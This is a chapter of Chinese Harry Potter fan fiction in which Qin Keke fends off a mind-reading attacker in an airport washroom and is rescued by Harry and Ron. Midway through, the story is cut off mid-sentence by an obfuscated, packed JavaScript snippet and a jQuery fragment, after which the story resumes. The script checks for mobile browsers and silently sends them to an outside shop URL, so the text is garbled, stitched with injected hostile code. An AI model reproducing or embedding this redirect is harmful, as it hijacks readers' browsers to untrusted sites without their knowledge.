从阴影里踱出的那个人很高,穿着和之前那位地勤相同的制服,脸上却覆着一副银光流转的奇特面具,遮住了五官。
可即便如此,秦可可还是一眼就认出了他。
“原来是你。”
最后一丝侥幸落地,秦可可反而奇异地冷静下来。她放下握着胡椒喷雾的手,向前迈了一小步,仿佛在确认一件无关紧要的小事。
“这样也能认出来,眼力不错。”男人的声音带着笑意,竟是一口还算标准的普通话。他抬手摘下面具,露出刚刚那个询问秦可可是否迷路的地勤的脸。
秦可可忍不住翻了个白眼:“你是不是脑子有病?发型衣服全都没换,就加个面具,真当别人是瞎子?”她顿了顿,用那种特有的、带着点嘲讽的口吻补了一句,“你电视剧看多了?觉得脸上蒙块布就能隐藏身份了?”
男子愣了一下,随即低低地笑了起来,随手将面具抛到一旁的水池边。“这倒也是。不过这张脸,让你认得也无妨。”他语气随意,仿佛在谈论天气。
“复方汤剂?”秦可可问,声音平静得不像在问一个魔法名词。
男人歪过头,灰蓝色的眼睛里闪过一丝讶异,随即化为玩味:“失忆了还能记得这个?看来你对魔药的‘热爱’,是刻在骨头里的。”
这句话刺了秦可可一下,因为她不是“记得”
复方汤剂,而是听哈利和罗恩分析情况时,听他们说过这个可以帮人易容的药剂。
“你怎么知道我失忆了?”秦可可没有放过那人话里的重点。
他向前踏出一步——仅仅一步,身形却如同鬼魅般掠过四五米的距离,瞬间出现在秦可可面前。一只手捏住她的下巴,迫使她仰头。冰凉的指尖触感让秦可可脊背发寒,她的后背“咚”一声撞上冰冷的瓷砖,退无可退。
“我还知道许多事,可可。”
被人用温柔缱绻的语调念出名字,秦可可却觉得毛骨悚然。
这人到底知道多少关于自己的事?是因为自己与哈利波特的接触才来调查自己?还是在那之前就调查自己了?
“看着我的眼睛。”他的声音陡然变得缥缈,带着一种催眠般的魔力。
秦可可被迫迎上那双灰蓝色的眸子。视线接触的刹那,熟悉的眩晕感如潮水般涌来,四肢百骸的力气仿佛被瞬间抽空,身体不受控制地顺着墙壁向下滑。男人顺势将她揽进怀里,两人身体紧贴,若非他捏着她下巴的力道带着警告,这姿态几乎像一对耳鬓厮磨的情人。
“不要抵抗。告诉我,你在魔法部看到了什么?哈利波特跟你说了什么?”那令人作呕的侵入感再次降临,像冰冷的泥浆灌进脑海。
又是这种感觉……恶心……
秦可可迷蒙的脑中猛地炸开这个念头,如同投入浑水的石子,瞬间激起了所有反抗的本能。理智在刹那间归位,她瞪大了眼睛,死死盯住男人的脸。虽然身体依旧绵软,但意识却前所未有地清明。
滚出去!
她在心底咆哮,用尽全部意志力筑起一道无形的墙。男人灰蓝色的眼中闪过一丝惊讶,他逼近,两人的鼻尖几乎相触,温热的呼吸拂过她的脸颊。眩晕加剧,但秦可可咬紧牙关,用那股源自灵魂深处的厌恶做盾牌,死死抵抗着。那感觉就像吞了腐肉,又像被迫触摸肮脏的秽物,让她从心底泛起剧烈的恶心和愤怒。她在心底疯狂地诅咒,用所知的一切恶毒词汇冲刷着对方的意识。
突然——
“轰!!!”
一声巨响,如同重型卡车撞碎了整面玻璃幕墙。紧接着,一股狂暴的气浪以二人为中心扩散开来,掀翻了周围的一切。男人后退几步,脸上的惊讶再也隐藏不住。秦可可浑身都在抖,但她依旧努力让自己站稳,她第一次清醒的感觉到了自己将入侵感赶出大脑。没等二人说话,又一股气浪袭来,将两人猛地掀飞!秦可可惊叫一声,想护住头部,身体却不听使唤。就在她以为要重重摔落时,一双温暖有力的手臂箍住了她,带着她在地上翻滚两圈,稳稳地避到了洗手池下方的狭小空间里。
空气中,数道耀眼的光芒如焰火般交错飞射,金色的、红色的,撞击时发出刺耳的“噼啪”脆响,像鞭子抽在空气上。她的头被一只大手牢牢按在对方胸口,视野被剥夺,耳边只剩下剧烈的心跳声——不是她自己的,是抱着她的人的——以及外面激烈的魔法碰撞声。
“砰!”又是一声脆响,夹杂着一声低沉的咒骂,随后像是有人打了个清脆的响指。
世界,骤然安静。
时间好像暂停了,秦可可的额头贴在那人的胸前,一枚冰凉的扣子正好印在她的眉间。
箍在腰间的手臂动了动,秦可可被抱着从洗手池下钻了出来。她紧紧闭着眼,睫毛不住颤抖。她知道是谁来了,也知道他们为什么而来。那个神秘人再次出现,证明了她的“价值”,所以他们赶来了,像警察救路人,像消防员救困者,仅此而已。剥离了幻想,这件事本就该如此简单。
她低低地笑了一声,咽下喉头翻涌的苦涩,睁开了眼睛。
映入眼帘的,是哈利那双盛满了担忧与庆幸的绿眸。
“谢谢泥救了窝。”秦可可的嘴角弯起一个标准的弧度,语气里是恰如其分的感激,声音却冷得像浸过冰水。从发梢到指尖,她周身都散发着一种拒人于千里之外的寒意。
哈利明显怔住了,似乎无法理解她这突如其来的客气与疏离,他不由自主地加大了抓着秦可可的手指力度,好像这样就能留住某些正在消失的东西。秦可可试着动了动胳膊,酸软感仍在,但可以控制。她沉默地从哈利怀里挣脱出来,后退几步,拉开距离。温热的液体顺着脸颊滑落,她抬手去摸,指尖染上一片刺目的鲜红。
“别摸,玻璃渣。”哈利伸手握住她的手腕,阻止秦可可的动作,力道很稳。秦可可挣了一下,没挣开,便也放弃了。哈利松了手,他像是想去触碰秦可可的伤口,但最终她他的手指停留在距离秦可可脸侧几厘米的地方,随着他的手指微动,细碎的玻璃渣子从伤口里飞出来,落在地上。罗恩走过来,低头看着两人。
“先收拾一下。”罗恩说道,魔杖已经扬起。
哈利应了一声,两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852400|211835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人魔杖齐挥。破碎的镜面、迸裂的水管、坑洼的地面,在无声的魔法中迅速复原,眨眼间,洗手间恢复了光洁如新,仿佛什么都没发生过。只有空气中残留的焦糊味,证明着刚才的惊心动魄。
秦可可踉跄着走到水池前,看着镜中的自己。左眼角下方有三道细长的血痕,最深的一道就在眼尾,正汩汩冒着血珠。她打开水龙头,用冷水冲洗,淡粉色的血水打着旋消失在下水口。再抬头,镜中的女孩脸色苍白,眼神空洞,只有那几道伤痕提醒着她,一切都不是幻觉。
她用纸巾按住伤口,转身看向哈利和罗恩,深吸一口气,声音平稳得没有一丝波澜:“泥们,是为了刚才那个人来的吗?”
哈利摇头,绿眼睛专注地看着她:“不是,我们是为了你而来。”
见秦可可沉默,眼神里写着明显的不信,罗恩忍不住插话,语气急切:“真的!刚才演讲还没完,我和哈利在魔法部没找到你,知道你从员工通道离开的,又拜托了麻瓜警方查你的动向,才知道你来了机场。我们赶紧幻影移形过来,一到这就感觉到这里的魔法波动不对劲,就过来了……没想到正好撞上。”
秦可可的嘴角几不可察地抽动了一下,像是想笑,又像是嘲讽,最终只化作一声低语:“刚刚袭击窝的,就是之前让窝失忆的那个人。”
罗恩脸上瞬间亮起惊喜,随即又被懊恼取代,他狠狠挥了下拳头:“梅林的胡子!早知道刚才就不让他跑了!那混蛋居然敢——”
“这次,看清他的样子了吗?”哈利打断罗恩,目光紧锁着秦可可。
心里那点微弱的暖意彻底熄灭,只剩下更深的苦涩。秦可可沉默了几秒,才轻声道:“看清了。但没意义,他说他喝了复方汤剂。”
“他为什么又来找你?”哈利追问,声音里带着压抑的急切。
“窝不知道。”秦可可顿了一下,摇摇头,伤口被牵扯,带来一阵刺痛,让她眉头微蹙,“窝只是想搭最早的飞机回家。泥们知道的,窝爸妈不放心。”
哈利抿紧了唇,下颌线绷紧,他看着秦可可,似乎想说什么,最终却只是吐出一句:“恐怕……你还不能离开。”
秦可可闻言,竟低低地笑出了声,笑声里满是苍凉的意味。她闭上眼,让眼底的酸涩退去,再睁开时,已是一片漠然。她点了点头,没有抗议,没有询问,只是安静地跟在哈利和罗恩身后,走出了这座刚刚经历过生死搏杀的洗手间。
回程是坐出租车。车上,秦可可先给父母打了电话,声音放得轻柔,编了个“临时改签,需要等待航空公司安排座位”的借口,安抚了焦急的二老。挂断电话,她转向身旁的哈利,语气平静得像在陈述事实:“窝需要每天给父母报平安,所以窝要住在能用电话的地方。”
哈利点了点头,依旧沉默,低着头继续看着自己的手。秦可可便也扭头看向窗外,伦敦的街景飞速倒退。前排的罗恩几次回头,看看这个,又看看那个,满腹疑惑,最终也只能化作一声无声的叹息。
车厢里,只有引擎的嗡鸣,和一种再也回不到从前的、冰冷的寂静。